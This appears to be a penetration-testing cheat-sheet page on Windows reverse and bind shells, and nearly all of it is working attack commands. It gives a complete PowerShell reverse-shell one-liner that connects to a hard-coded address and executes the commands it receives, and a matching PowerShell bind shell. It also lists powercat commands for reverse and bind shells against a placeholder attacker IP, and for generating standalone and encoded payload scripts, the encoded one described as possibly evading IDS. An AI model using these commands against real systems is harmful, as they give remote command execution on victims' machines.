search
Read BlogpostsLet's Connect

Reverse Shell

hashtag
Powershell

Reverse Shell (run this on cmd):

# Run in cmd.exe!
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.3.108',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Bind shell:

powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"

hashtag
Powercat

hashtag
Reverse shell:

powercat -c <attacker_ip> -p <port> -e cmd.exe

hashtag
Bind shell:

powercat -l -p 443 -e cmd.exe

hashtag
Standalone reverse shell:

powercat -c <attacker_ip> -p <port) -e cmd.exe -g > revershell.ps1

hashtag
Or an encoded version (could ... but unlikely, evade IDS):

powercat -c <attacker_ip> -p <port) -e cmd.exe -ge > revershell.ps1

hashtag
Windows PHP Reverse Shell

PreviousAccessing FileNextOneLiner - Reverse/bind Shell

Last updated